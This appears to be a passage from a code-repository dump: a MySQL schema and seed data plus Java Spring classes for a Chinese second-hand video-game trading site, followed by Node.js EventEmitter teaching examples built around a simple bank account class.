`token` varchar(45) DEFAULT NULL, ##token
PRIMARY KEY (`userId`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
CREATE TABLE `db_tdct`.`tbusiness` (
`bussinessId` INT NOT NULL AUTO_INCREMENT, ##ID
`gameName` VARCHAR(100) NOT NULL, ##名称
`enName` VARCHAR(45) NULL, ##英文名称
`typeCode` VARCHAR(10) NOT NULL, ##游戏类型
`platformCode` VARCHAR(10) NOT NULL, ##平台
`editionCode` VARCHAR(10) NULL, ##版本
`price` DECIMAL(9,2) NULL, #价格
`quality` TINYINT NOT NULL, #成色
`qq` VARCHAR(15) NULL , ##qq
`mobilephone` VARCHAR(20) NULL ,
`maker` VARCHAR(45) NULL, ##开发商
`publisher` VARCHAR(45) NULL, ##发行商
`businessType` varchar(10) NOT NULL ,#交易类型
`tradingWay` VARCHAR(10) NULL, ##交易方式
`location` VARCHAR(10) NULL,##发布者所在地
`description` TINYTEXT NULL ,
`createDate` TIMESTAMP NOT NULL,
`modifyDate` TIMESTAMP NOT NULL,
`creator` VARCHAR(10) NOT NULL,
`level` TINYINT NOT NULL DEFAULT 0,#级别(通知,置顶等)
PRIMARY KEY (`bussinessId`));
CREATE TABLE `db_tdct`.`dictionary` (
`dictId` INT NOT NULL AUTO_INCREMENT, ##字典ID
`category` VARCHAR(45) NOT NULL, ##类别
`name` VARCHAR(45) NOT NULL, ##名字
`code` VARCHAR(45) NOT NULL, ##代码
`enable` INT NOT NULL DEFAULT 1, ##可用 0不可用 1可用
`desc` VARCHAR(100) NULL, ##描述
PRIMARY KEY (`dictId`));
<file_sep>/src/main/java/org/soya/mcore/constant/Status.java
package org.soya.mcore.constant;
/**
* 系统状态常量,返回对象(ReturnBody)中请求处理各种状态
* Created by FunkySoya on 2015/4/28.
*/
public class Status {
public static final int SUCCESS = 3001;
public static final int FAILED = 3002;
public static final int USERNAME_DUPLICATE = 3003;
public static final int NICKNAME_DUPLICATE = 3004;
public static final int CAPTCHA_INVALID = 3005;
public static final int ERROR = 3006;
public static final int DEFER_MESSAGE = 3007;
public static final int INVALIDATE = 3008;
public static final int REDIRECT = 3009;
}
<file_sep>/src/main/java/org/soya/mcore/util/ValidUtil.java
package org.soya.mcore.util;
import com.google.code.kaptcha.Constants;
import javax.servlet.http.HttpServletRequest;
/**
* 校验工具类
* Created by FunkySoya on 2015/5/7.
*/
public class ValidUtil {
public static boolean validCaptcha(HttpServletRequest request,String captcha){
if(captcha == null){
return false;
}
if(captcha.equals(request.getSession().getAttribute(Constants.KAPTCHA_SESSION_KEY))){
return true;
}
return false;
}
}
<file_sep>/sql/data.sql
insert into dictionary (`category`,`name`,`code`,`enable`,`desc`) values
('游戏类型','动作游戏','ACT',1,''),
('游戏类型','冒险游戏','AVG',1,''),
('游戏类型','第一人称视点射击游戏','FPS',1,''),
('游戏类型','格斗游戏','FTG',1,''),
('游戏类型','音乐游戏 ','MUG',1,''),
('游戏类型','益智类游戏','PUZ',1,''),
('游戏类型','赛车游戏','RAC',1,''),
('游戏类型','角色扮演游戏','RPG',1,''),
('游戏类型','即时战略游戏','RTS',1,''),
('游戏类型','模拟/战棋式战略游戏','SLG',1,''),
('游戏类型','体育运动游戏','SPG',1,''),
('游戏类型','射击游戏','STG',1,''),
('游戏类型','桌面游戏','TAB',1,''),
('游戏类型','其他类型游戏','ETC',1,''),
('游戏类型','恋爱养成游戏','AVG/ADV',1,''),
('游戏类型','其他','O',1,'');
insert into dictionary (`category`,`name`,`code`,`enable`,`desc`) values
('游戏平台','PS4','PS4',1,''),
('游戏平台','PS3','PS3',1,''),
('游戏平台','PS2','PS',1,''),
('游戏平台','PS','PS',1,''),
('游戏平台','XBOXONE','XBOXONE',1,''),
('游戏平台','XBOX360','XBOX360',1,''),
('游戏平台','XBOX','XBOX',1,''),
('游戏平台','WIIU','WIIU',1,''),
('游戏平台','WII','WII',1,''),
('游戏平台','PSV ','PSV',1,''),
('游戏平台','PSP','PSP',1,''),
('游戏平台','3DS','3DS',1,''),
('游戏平台','NDS','NDS',1,''),
('游戏平台','PC','PC',1,''),
('游戏平台','SS','SS',1,''),
('游戏平台','MD','MD',1,''),
('游戏平台','GBC','GBC',1,''),
('游戏平台','GBA','GBA',1,''),
('游戏平台','其他','O',1,'');
insert into dictionary (`category`,`name`,`code`,`enable`,`desc`) values
('区域','亚洲','AS',1,'Asia'),
('区域','欧洲','EU',1,'Europe'),
('区域','美洲','AM',1,'America'),
('区域','澳洲','AU',1,'Australia'),
('区域','大陆','CHN',1,'Mainland Of China'),
('区域','香港','UK',1,'Hongkong'),
('区域','台湾','TW',1,'Taiwan'),
('区域','日本','JP',1,'Japan'),
('区域','韩国','ROK',1,'Republic of Korea'),
('区域','其他','O',1,'other');
<file_sep>/src/main/java/org/soya/tdct/controller/CountryController.java
package org.soya.tdct.controller;
import org.soya.tdct.model.Country;
import org.soya.tdct.service.CountrySer;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.servlet.ModelAndView;
import java.util.List;
/**
* Created by FunkySoya on 2015/3/29.
*/
@RestController
@RequestMapping("/country")
public class CountryController {
@Autowired
CountrySer countrySer;
@RequestMapping(value = { "/{code}" }, method = { org.springframework.web.bind.annotation.RequestMethod.GET })
public ModelAndView getCountry(@PathVariable("code")String code, ModelMap modelMap) throws Exception {
Country country = countrySer.selectCountryByCode(code);
modelMap.put("country", country);
return new ModelAndView("countryviewer", modelMap);
}
@RequestMapping(value = {"/getAjax"}, method = { org.springframework.web.bind.annotation.RequestMethod.GET })
@ResponseBody
public Country getAjax(){
Country country = new Country();
country.setName("中国");
return country;
}
@RequestMapping(value = { "/all" }, method = { org.springframework.web.bind.annotation.RequestMethod.GET })
@ResponseBody
public List<Country> getAllCountry() {
return countrySer.queryAllCountry();
}
}
<file_sep>/src/main/java/org/soya/mcore/model/Dictionary.java
package org.soya.mcore.model;
import java.io.Serializable;
/**
* 字典
* Created by Administrator on 2015/5/28.
*/
public class Dictionary implements Serializable,Comparable<Dictionary> {
private String code;
private String name;
public String getCode() {
return code;
}
public void setCode(String code) {
this.code = code;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
@Override
public int compareTo(Dictionary dict) {
int flag = -1 ;
if("OTHER".equals(this.getCode())){
flag = 1;
}else if("OTHER".equals(dict.getCode())){
flag = -1;
}else{
if(this.getCode().compareTo(dict.getCode()) > 0)
flag = 1;
}
return flag;
}
}
<file_sep>/README.md
# ToDayChangeTime
All by yourself
<file_sep>/src/main/java/org/soya/tdct/model/Business.java
package org.soya.tdct.model;
import java.util.Date;
/**
* Created by FunkySoya on 2015/6/18.
*/
public class Business {
private int businessId;
private String gameName;
private String enName;
private String gameTypeCode;
private String platformCode;
private String editionCode;
private Double price;
private int qualityCode;
private String qq;
private String mobilephone;
private String maker;
private String publisher;
private String businessTypeCode;
private String tradingWayCode;
private String location;
private String description;
private Date createDate;
private Date modifyDate;
private String creator;
private int level;
public int getBusinessId() {
return businessId;
}
public void setBusinessId(int businessId) {
this.businessId = businessId;
}
public String getGameName() {
return gameName;
}
public void setGameName(String gameName) {
this.gameName = gameName;
}
public String getEnName() {
return enName;
}
public void setEnName(String enName) {
this.enName = enName;
}
public String getGameTypeCode() {
return gameTypeCode;
}
public void setGameTypeCode(String gameTypeCode) {
this.gameTypeCode = gameTypeCode;
}
public String getPlatformCode() {
return platformCode;
}
public void setPlatformCode(String platformCode) {
this.platformCode = platformCode;
}
public String getEditionCode() {
return editionCode;
}
public void setEditionCode(String editionCode) {
this.editionCode = editionCode;
}
public Double getPrice() {
return price;
}
public void setPrice(Double price) {
this.price = price;
}
public int getQualityCode() {
return qualityCode;
}
public void setQualityCode(int qualityCode) {
this.qualityCode = qualityCode;
}
public String getQq() {
return qq;
}
public void setQq(String qq) {
this.qq = qq;
}
public String getMobilephone() {
return mobilephone;
}
public void setMobilephone(String mobilephone) {
this.mobilephone = mobilephone;
}
public String getMaker() {
return maker;
}
public void setMaker(String maker) {
this.maker = maker;
}
public String getPublisher() {
return publisher;
}
public void setPublisher(String publisher) {
this.publisher = publisher;
}
public String getBusinessTypeCode() {
return businessTypeCode;
}
public void setBusinessTypeCode(String businessTypeCode) {
this.businessTypeCode = businessTypeCode;
}
public String getTradingWayCode() {
return tradingWayCode;
}
public void setTradingWayCode(String tradingWayCode) {
this.tradingWayCode = tradingWayCode;
}
public String getLocation() {
return location;
}
public void setLocation(String location) {
this.location = location;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
public Date getCreateDate() {
return createDate;
}
public void setCreateDate(Date createDate) {
this.createDate = createDate;
}
public Date getModifyDate() {
return modifyDate;
}
public void setModifyDate(Date modifyDate) {
this.modifyDate = modifyDate;
}
public String getCreator() {
return creator;
}
public void setCreator(String creator) {
this.creator = creator;
}
public int getLevel() {
return level;
}
public void setLevel(int level) {
this.level = level;
}
}
<file_sep>/src/main/java/org/soya/mcore/service/BaseDataSer.java
package org.soya.mcore.service;
import org.soya.mcore.model.Dictionary;
import org.springframework.web.bind.annotation.RestController;
import java.util.List;
import java.util.Map;
/**
* Created by FunkySoya on 2015/5/31.
*/
public interface BaseDataSer {
/**
* 根据字典类型获取字典
* @param Type
* @return List<Dictionary>
*/
List<Dictionary> getListByType(String Type);
/**
* 根据字典类型获取字典
* @param Type
* @return Map
*/
Map getMapByType(String Type);
}
|
ccd28cb344c1f0b358520738b89463cc83c28bfd
|
[
"Markdown",
"Java",
"SQL"
] | 18
|
Java
|
Fsoya/ToDayChangeTime
|
8396692cb9bf6865750bf286ad5a3384fff64000
|
ff6e82529c9d1745c7dcc23d67bf655da32bbc82
|
refs/heads/master
|
<repo_name>yoshixmk/Iteam<file_sep>/ChaChat!/chachat_client.js
var ws = new WebSocket('ws://192.168.50.135:1233');
ws.onerror = function(e){
$('#chat-area').empty()
.addClass('alert alert-error')
.append('<button type="button" class="close" data-dismiss="alert">x</button>',
$('<i/>').addClass('icon-warning-sign'),
'サーバに接続できませんでした。');
};
var token = "";
var id;
var num = 0;
function getToken(){
for(var i = 0; i < 6; i++){
token += "" + (Math.floor(Math.random()*16)).toString(16);
}
console.log("token is " + token);
return token;
}
//サーバ接続イベント
ws.onopen = function(){
num++;
var tk = getToken();
ws.send(tk);
$('#textbox').focus();
ws.send(JSON.stringify({
type: 'join',
user: userName,
token: tk
}));
};
var userName = 'ゲスト';
$('#user-name').append(userName);
//メッセージ受信イベント
ws.onmessage = function(event){
var split = event.data.split(":");
if(split[0] === token){
id = split[1];
return;
}
if(event.data.charAt(0) === '{'){
var data = JSON.parse(event.data);
var item = $('<li/>').append(
$('<div/>').append($('<i/>').addClass('icon-user'))
);
// pushされたメッセージを解釈し、要素を生成する
if (data.type === 'join') {
var time = '<small>' + data.time + '</small>';
item.addClass('alert-info')
.children('div').children('i').after(data.user + 'が入室しました');
item.addClass('meta chat-time').append(time);
}
else if (data.type === 'chat') {
//var content = '<span>' + data.user + '</span><br>' + data.text;
var time = '<small>' + data.time + '</small>';
var content = data.text;
item.addClass('well-small').children('div').html(content);
item.addClass('meta chat-time').append(time);
}
else if (data.type === 'defect') {
var time = '<small>' + data.time + '</small>';
item.addClass('alert')
.children('div').children('i').after(data.user + 'が退室しました');
item.addClass('meta chat-time').append(time);
}
else {
item.addClass('alert-error')
.children('div').children('i').removeClass('icon-user').addClass('icon-warning-sign')
.after('不正なメッセージを受信しました');
}
$('#chat-history').prepend( item).hide().fadeIn(500);
}
};
// 発言イベント
textbox.onkeydown = function(event) {
// エンターキーを押したとき
if (event.keyCode === 13 && textbox.value.length > 0) {
ws.send(JSON.stringify({
type: 'chat',
user: userName,
text: textbox.value,
token: token
}));
textbox.value = '';
}
};
// ブラウザ終了イベント
window.onbeforeunload = function () {
ws.send(JSON.stringify({
type: 'defect',
user: userName,
}));
};
<file_sep>/ChaChat!/chachat_server.js
var ws = require('websocket.io');
var user_info = [];
var user_flag = false;
var server = ws.listen(1233, function(){
console.log('Server running at 192.168.50.135:1234');
});
var num = 0;
server.on('connection', function(socket){
num++;
socket.on('message', function(data){
var d = new Date();
var id = "" + d.getMinutes() + d.getSeconds();
var usernum = server.clients.length;
if(data.length == 6){
user_info.push(data + ":" + id);
return;
}
// for(var i = 0; i < usernum; i++){
data = JSON.parse(data);
// var split = user_info[i].split(':');
// if(split[0] == data.token ){
// data = user_info[i];
data.time = d.getFullYear() + "-" + (d.getMonth() + 1) + "-" + d.getDate()
+ " " + d.getHours() + ":" + d.getMinutes() + ":" + d.getSeconds();
data.user += id;
data = JSON.stringify(data);
console.log(data);
user_flag = true;
// break;
// }
// };
if(!user_flag){
user_info.push(data + ":" + id);
data = user_info[usernum - 1];
}
server.clients.forEach(function(client){
client.send(data);
});
});
});
<file_sep>/ChaChat!/css/marker.js
var marker =[
{"name": "dmtc", "point": "35.236185, 139.599921"},
{"name": "disneyland", "point": "35.633031, 139.880410"},
{"name": "disneysea", "point": "35.626951, 139.885078"}
];
|
78142a830bb72a0bc1bc98e5b5a4a911dbb7b5f9
|
[
"JavaScript"
] | 3
|
JavaScript
|
yoshixmk/Iteam
|
8523d1f629e620f76bfe7d321f3b1388e6887828
|
4be3cfc4748daed53f9e5cff33f105a485d84e0e
|
refs/heads/main
|
<file_sep>FROM ubuntu
#Service principal
ENV SPUSERNAME=""
ENV SPPASSWORD=""
ENV TENANT=""
#Data Lake store
ENV DLS_ACCOUNT_NAME=""
ENV RESOURCE_GROUP=""
#The service you want to allow
ENV SERVICE_NAME="PowerBI"
WORKDIR /app
#Add the script
COPY script.sh .
#We need prips, jq and azure cli
RUN apt-get update \
&& apt-get -y install ca-certificates curl apt-transport-https lsb-release gnupg prips jq \
&& curl -sL https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor | tee /etc/apt/trusted.gpg.d/microsoft.gpg > /dev/null \
&& AZ_REPO=$(lsb_release -cs) \
&& echo "deb [arch=amd64] https://packages.microsoft.com/repos/azure-cli/ $AZ_REPO main" | tee /etc/apt/sources.list.d/azure-cli.list \
&& apt-get update \
&& apt-get install azure-cli
ENTRYPOINT [ "/bin/bash","script.sh" ]<file_sep>#!/bin/bash
MICROSOFT_IP_RANGES_URL="https://www.microsoft.com/en-us/download/confirmation.aspx?id=56519"
JSON_FILE_NAME="azure-public-ips.json"
#login first
az login --service-principal -u $SPUSERNAME -p $SPPASSWORD --tenant $TENANT
#Get the last version of the Public Azure IP ranges
#https://stackoverflow.com/questions/28798014/is-there-a-way-to-automatically-and-programmatically-download-the-latest-ip-rang
UPDATED_FILE=$(curl -Lfs ${MICROSOFT_IP_RANGES_URL} | grep -Eoi '<a [^>]+>' | grep -Eo 'href="[^\"]+"' | grep "download.microsoft.com/download/" | grep -m 1 -Eo '(http|https)://[^"]+')
echo last version of the Azure Public IP Ranges ${UPDATED_FILE}
curl $UPDATED_FILE -o $JSON_FILE_NAME
echo "Added ${SERVICE_NAME} to the firewall"
#Delete all firewall rules
SERVICE_NAME_RULE_PREFIX="${SERVICE_NAME}_Rule_"
echo "First, we delete all firewall rules with prefix $SERVICE_NAME_RULE_PREFIX for $DLS_ACCOUNT_NAME in $RESOURCE_GROUP"
for ruleName in $(az dls account firewall list --account $DLS_ACCOUNT_NAME -g $RESOURCE_GROUP | jq '.[] | select(.name | startswith('\"${SERVICE_NAME_RULE_PREFIX}\"'))' | jq -r '.name'); do
echo "Deleting rule $ruleName"
az dls account firewall delete --account $DLS_ACCOUNT_NAME -g $RESOURCE_GROUP --firewall-rule-name $ruleName
done
echo "Now, we added the new rules from $JSON_FILE_NAME"
COUNTER=0
for ipRange in $(cat ${JSON_FILE_NAME} | jq --arg s "${SERVICE_NAME}" '.values[] | select(.name==$s) | .properties.addressPrefixes' | jq -r ".[]"); do
COUNTER=$(($COUNTER + 1))
echo Checking if $ipRange is IPv4
FIRST_IP=$(prips $ipRange | head -n 1)
if [[ $FIRST_IP =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
echo "success! Try to add it to the firewall"
#https://docs.microsoft.com/en-us/cli/azure/dls/account/firewall?view=azure-cli-latest
az dls account firewall create --account $DLS_ACCOUNT_NAME -g $RESOURCE_GROUP --firewall-rule-name "${SERVICE_NAME}_Rule_${COUNTER}" --start-ip-address $FIRST_IP --end-ip-address $(prips $ipRange | tail -n 1)
else
echo "fail"
fi
done
echo "Done!"<file_sep>#0. Variables
SERVICE_PRINCIPAL_NAME="play-with-public-azure-ip-addresses"
SUBSCRIPTION_ID="YOUR_SUBSCRIPTION_ID"
RESOURCE_GROUP_NAME="DATALAKE_RESOURCE_GROUP"
DATALAKE_STORE_NAME="DATALAKE_NAME"
# 1. Create the service principal for the resource group where the Data Lake Store Gen 1 is
az ad sp create-for-rbac --name $SERVICE_PRINCIPAL_NAME --role "Contributor" --scopes /subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}
#Output example:
# {
# "appId": "xxxxx-xxxx-xxx-xxx-xxxxxx",
# "displayName": "play-with-public-azure-ip-addresses",
# "name": "http://play-with-public-azure-ip-addresses",
# "password": "<PASSWORD>",
# "tenant": "YOUR_TENANT_ID"
# }
#Copy the output here
SP_APP_ID=""
SP_NAME=""
SP_PASSWORD=""
SP_TENANT_ID=""
# 2. Build the Docker image (locally)
docker build -t play-with-azure-public-ips .
# 3. Run the container (locally)
docker run -e SPUSERNAME=$SP_NAME \
-e SPPASSWORD=$SP_PASSWORD \
-e TENANT=$SP_TENANT_ID \
-e RESOURCE_GROUP=$RESOURCE_GROUP_NAME \
-e DLS_ACCOUNT_NAME=$DATALAKE_STORE_NAME \
play-with-azure-public-ips
# 4. Create an Azure Container Registry
ACR_RG="Play-With-Public-Azure-IP-Addresses"
LOCATION="northeurope"
ACR_NAME="azuremantainance"
IMAGE_NAME="play-with-azure-public-ips"
az group create --name $ACR_RG --location $LOCATION
az acr create --resource-group $ACR_RG --name $ACR_NAME --sku Basic --admin-enabled true
# 5. Build the Docker image (Azure Container Registry)
az acr build --registry $ACR_NAME -g $ACR_RG --image $IMAGE_NAME .
REGISTRY_PASSWORD=$(az acr credential show -n $ACR_NAME -g $ACR_RG | jq -r '.passwords[] | select(.name=="password") | .value')
# 6. Run the container (Azure Container Registry)
az container create -g $ACR_RG \
--name updateips \
--image $ACR_NAME.azurecr.io/$IMAGE_NAME \
--registry-login-server $ACR_NAME.azurecr.io \
--registry-username $ACR_NAME \
--registry-password $REGISTRY_PASSWORD \
--environment-variables SPUSERNAME=$SP_NAME SPPASSWORD=$SP_<PASSWORD> TENANT=$SP_TENANT_ID RESOURCE_GROUP=$RESOURCE_GROUP_NAME DLS_ACCOUNT_NAME=$DATALAKE_STORE_NAME \
--cpu 2 --memory 4 \
--restart-policy Never
|
00ebddd30b81cb7302a4da0efb43e5fc30983965
|
[
"Dockerfile",
"Shell"
] | 3
|
Dockerfile
|
0GiS0/play-with-public-azure-ip-addresses
|
a3f477f87295eb2e26c6d87196437a4817edbe30
|
d857cb7119a5cddaeecfe0c1a04bbed70165e5a0
|
refs/heads/master
|
<file_sep>const express=require('express');
const members=require('../../Members');
const uuid=require('uuid');
const router=express.Router();
//get single member
router.get('/:id',(req,res)=>{
const found=members.some(member=>member.id===parseInt(req.params.id));
if(found)
res.json(members.filter(member=>member.id=== parseInt(req.params.id)))
else
res.status(400).json({msg: `Member with id ${req.params.id} not found`});
});
//gets all members
router.get('/',(req,res)=>res.json(members));
//create member
router.post('/',(req,res)=>{
const newMember ={
id: uuid.v4(),
name: req.body.name,
email: req.body.email,
status: 'active'
}
if(!newMember.name||!newMember.email){
return res.status(400).json({msg: 'Please include a name and email'});
}
members.push(newMember);
res.json(members);
// res.redirect('/')
});
//update member
router.put('/:id',(req,res)=>{
const found=members.some(member=>member.id===parseInt(req.params.id));
if(found)
{
const updMember=req.body;
members.forEach(member=>{
if(member.id===parseInt(req.params.id)){
member.name=updMember.name?updMember.name:member.name;
member.email=updMember.email?updMember.email:member.email;
res.json({msg: 'Member updated', member});
}
});
}
else
res.status(400).json({msg: `Member with id ${req.params.id} not found`});
});
//delete member
router.delete('/:id',(req,res)=>{
const found=members.some(member=>member.id===parseInt(req.params.id));
if(found)
res.json({
msg: 'Member deleted',
members: members.filter(member=>member.id !== parseInt(req.params.id))
});
else
res.status(400).json({msg: `Member with id ${req.params.id} not found`});
});
module.exports=router;<file_sep>const members=[
{
id:1,
name: 'k',
email:'<EMAIL>',
status:'active'
},
{
id:2,
name: 'l',
email:'<EMAIL>',
status:'inactive'
},
{
id:3,
name: 'm',
email:'<EMAIL>',
status:'active'
}
];
module.exports=members;
|
e7de95d79b77cd9e5976cbe4b8c3f1e8e68aa679
|
[
"JavaScript"
] | 2
|
JavaScript
|
fizamaqbool/express.js-beginner
|
a1712e7a37f84eb4642a16c8d48418e337d7bb44
|
6674fa94d4d0aed3b0bc92cdd35797d0578e02a7
|
refs/heads/master
|
<repo_name>Tielor/Pokemon_battleSimulation<file_sep>/pokedex/pokedex.js
let fightStart = false;
const screen = document.querySelector('#screen');
screen.style.height= 500 + 'px';
const acceptButton = document.querySelector('#accept_button');
const hide = id => {
document.querySelector(id).style.display = 'none';
};
const showInline = id => {
document.querySelector(id).style.display = 'inline'
};
const myRequest = new XMLHttpRequest();
const choose_Pokemon = (pokeId) => {
document.getElementById('' + pokeId).onclick = () => {
myRequest.open('get', 'https://pokeapi.co/api/v2/pokemon/'+pokeId+'/');
myRequest.onload = function() {
const obj = JSON.parse(myRequest.responseText);
if(myRequest.readyState === 4){
console.log(obj.name);
for(let i = 0; i < 4; i++){
document.getElementById(''+i).innerHTML = obj.moves[i].move.name;
}
if(fightStart === false){
document.getElementById('pokeName').innerHTML = 'Name: '+obj.name;
document.getElementById('moves').innerHTML = 'Move List'
acceptButton.style.display = 'inline-block';
}
}
}
myRequest.send();
document.getElementById('accept_button').onclick = () => {
const obj = JSON.parse(myRequest.responseText);
if(confirm('Are you sure?')){
fightStart = true;
screen.style.backgroundImage = 'url(/../img/pokemon_x_and_y_battle_background_16_by_phoenixoflight92-d8594wx.png)'
acceptButton.style.display = 'none'
hide('#description');
hide('#title');
document.getElementById('pokeName').innerHTML = '';
document.getElementById(''+pokeId).classList.add('zero');
document.querySelector('#table').style.display = 'table';
showInline('#mew')
document.querySelector('#score').style.display = 'block';
for(let i = 1; i < 5; i++){
document.getElementById('move'+i).innerHTML = obj.moves[i].move.name;
};
showInline('#health');
showInline('#enemy');
if(pokeId == 25){
hide('.two');
hide('.three');
}else if(pokeId == 5){
hide('.one');
hide('.three');
}else {
hide('.one');
hide('.two');
}
};
}
};
};
choose_Pokemon(25);
choose_Pokemon(5);
choose_Pokemon(393);
//battle logic
const changeHtml = (id,value) => {
document.getElementById(id).innerHTML = value
};
const battle_over = () => {
if(enemyHealth <= 0){
document.querySelector('#Won').style.display = 'block';
hide('#mew');
}
}
let score = 0;
let health = 100;
let enemyHealth = 100;
let attack = (Math.random()*10)+3;
const superMove = 30;
const battle_sim = () => {
enemyHealth -= attack
enemyHealth = Math.round(enemyHealth);
score += 5
enemyTurn();
if(score >= 30){
document.querySelector('#super').style.display = 'block';
document.getElementById('super').onclick = () => {
enemyHealth -= 30;
changeHtml('enemy','health:'+enemyHealth);
battle_over();
}
}
};
const enemyTurn = () => {
if(enemyHealth > 50){
health -= 10;
return health;
}else if(enemyHealth < 50){
health -= 16;
return health;
}
}
const battle = id => {
document.getElementById('move'+id).onclick = () => {
if(id === 1){
attack += 2;
battle_sim();
battle_over();
}else{
battle_sim();
battle_over();
}
changeHtml('score','score:'+score);
changeHtml('health','health:'+health);
changeHtml('enemy','health:'+enemyHealth);
}
}
battle(1);
battle(2);
battle(3);
battle(4);
<file_sep>/app.js
const express = require('express');
const path = require('path');
const bodyParser = require('body-parser');
const app = express();
const cookieParser = require('cookie-parser');
app.use(bodyParser.urlencoded({extended: true}));
app.set('view engine', 'pug');
app.use(cookieParser());
app.use(express.static(__dirname));
app.get('/', (req,res) => {
const name = req.cookies.username
if (name){
res.redirect('/battle');
}else {
res.render('index')
}
});
app.get('/battle', (req,res) => {
const name = req.cookies.username;
if(name){
res.render('battle', {name: name});
}else {
res.redirect('/')
}
});
app.post('/battle', (req,res) => {
res.clearCookie('username')
res.redirect('/');
})
app.post('/', (req,res) => {
res.cookie('username',req.body.username);
res.redirect('/battle');
});
app.listen(3001, () => {
console.log('server is running...');
});
|
60fad787a2048b5600f9eb975686c9e87cc8845e
|
[
"JavaScript"
] | 2
|
JavaScript
|
Tielor/Pokemon_battleSimulation
|
5793a8d1055c3266e0659e26deb025d77678b964
|
9817b1e107f07d32fcae6f494c2a4c133406a7ed
|
refs/heads/master
|
<file_sep>'use strict';
var gulp = require('gulp');
var sass = require('gulp-sass');
var watch = require('gulp-watch');
var validate = require('gulp-w3c-css');
var htmlhint = require("gulp-htmlhint");
var babel = require('gulp-babel');
var beautify = require('gulp-beautify');
var gutil = require('gulp-util');
// --- extra plug-in #1 --- ok
var path = require('path');
var srcPath = path.join(__dirname, './assets/css/*.css');
var dstPath = path.join(__dirname, './dist/css');
// --- extra plug-in #2 --- not working
// var cleanCSS = require('gulp-clean-css');
var cleancss = require('gulp-cleancss');
// --- extra plug-in #2 --- ok
var uglify = require('gulp-uglify');
var pump = require('pump');
// --- extra plug-in #3 --- ok
var htmlmin = require('gulp-htmlmin');
// ---------------- Create CSS files from SASS files ---------------- ok
gulp.task('sass', function () {
return gulp.src('./assets/sass/*.scss')
.pipe(sass())
.pipe(gulp.dest('./assets/css/'));
});
// ---------------- validate CSS files ---------------- ok
// -- added sass so it will wait for sass to complete
gulp.task('validate', ['sass'], function () {
gulp.src(srcPath)
.pipe(validate())
.pipe(gulp.dest(dstPath));
});
gulp.task('watch', function () {
gulp.watch('./assets/sass/*.scss', ['sass']);
});
// ---------------- CSS Compress ----------------
gulp.task('cleancss', () => {
return gulp.src('./assets/build/css/*.css')
.pipe(cleancss({keepBreaks: false}))
.pipe(gulp.dest('./dist/'));
});
// ---------------- HTML Error Checker ----------------
gulp.task('htmlhint', function () {
gulp.src("./*.html")
.pipe(htmlhint())
.pipe(htmlhint.reporter());
});
// ---------------- HTML Minify ---------------- ok
// -- added htmlhint so it will wait for htmlhint to complete
gulp.task('minify', ['htmlhint'], function() {
return gulp.src('./*.html')
.pipe(htmlmin({collapseWhitespace: true}))
.pipe(gulp.dest('./dist'));
});
// ---------------- JS Transpiler ----------------
gulp.task('babel', function () {
gulp.src('./assets/js/*.js')
.pipe(babel({
presets: ['es2015']
}))
.pipe(gulp.dest('./assets/build/js/babel'));
});
// ---------------- JS Beautfier ----------------
// -- added babel so it will wait for babel to complete
gulp.task('beautify', ['babel'], function() {
// gulp.src('./assets/js/*.js')
gulp.src('./assets/build/js/babel/*.js')
.pipe(beautify({indent_size: 2}))
.pipe(gulp.dest('./assets/build/js'))
});
// ---------------- JS Compress Utility ----------------
// -- added beautify so it will wait for beautify to complete
gulp.task('compress', ['beautify'], function (cb) {
pump([
gulp.src('./assets/build/js/*.js'),
uglify(),
gulp.dest('./dist/js')
],
cb
);
});
// --- CSS Tasks ---
gulp.task('css', ['sass', 'validate']);
// --- JS Tasks ---
gulp.task('js', ['babel', 'beautify', 'compress']);
// --- HTML Tasks ---
gulp.task('html', ['htmlhint', 'minify']);
// --- Default Tasks ---
gulp.task('default', ['sass', 'watch']);
|
b823d4b7cd6a2947c1592e9303a77eaefc1d9aa4
|
[
"JavaScript"
] | 1
|
JavaScript
|
dab80/fitness-gulp
|
bd536bcb68f16444db4d6885e2117437494c2faf
|
88a8d8262a1e468a06d86083a1dcddf10426c9f7
|
refs/heads/master
|
<repo_name>ProfJake/lecture4<file_sep>/eventSamples/emits.js
var events = require("events");
var emitter = new events.EventEmitter();
//Modified/Simplified from Listing 4.4 NodeJS, MongoDB, and Angular Web Dev.
//By Dayley, Dayley, and Dayley
//We can create an emitter directly from the events module or we can inherit
//from it (see the text Chapter, listing 4.4 for pre-ES6 syntax
//for inherited emitters) This file has syntax for ES6 non-inherited emitters
class Account{
constructor(){
this.balance=0;
}
withdraw(amount){
this.balance -= amount;
emitter.emit("balanceChanged");
//this emits both an event AND passes the balance to the
//event handler by providing as an argument to emit
if (this.balance < 0){
emitter.emit("accountOverdrawn", this.balance)
}
return this.balance;
}
deposit(amount){
this.balance += amount;
emitter.emit("balanceChanged")
}
}
var myAcct = new Account();
var printNotice = function(){
console.log("Transaction Completed!");
}
var printWarn = function(balance){
console.log(`WARNING ACCOUNT BALANCE: ${balance}`);
}
//In this case, we have to make the emitter respond to the
//events that it raises when stuff happens
emitter.on('balanceChanged', printNotice);
emitter.on('accountOverdrawn', printWarn);
myAcct.deposit(1000);
myAcct.withdraw(600);
myAcct.withdraw(600);
<file_sep>/eventSamples/inheritedEmits.js
var events = require("events");
//We can create an emitter directly from the events module or we can inherit
//from it (see the Activitytracker for pre-ES6 syntax for inherited emitters)
// This file has syntax for ES6 inherited emitters
//Note how similar JS is starting to look to Java
class Account extends events{
constructor(){
//in a sub-class, you MUST call the super-class constructor before you
super();
//can use the keyword "this" otherwise there is no "this" to attach
//the new data to
this.balance=0;
}
withdraw(amount){
this.balance -= amount;
this.emit("balanceChanged");
//this emits both an event AND passes the balance to the
//event handler by providing as an argument to emit
if (this.balance < 0){
this.emit("accountOverdrawn", this.balance)
}
return this.balance;
}
deposit(amount){
this.balance += amount;
this.emit("balanceChanged")
}
}
var myAcct = new Account();
var printNotice = function(){
console.log("Transaction Completed!");
}
var printWarn = function(balance){
console.log(`WARNING ACCOUNT BALANCE: ${balance}`);
}
//Here we make the object itself respond to the raised events
//because now it has direct access to the method "on" in the super-class
myAcct.on('balanceChanged', printNotice);
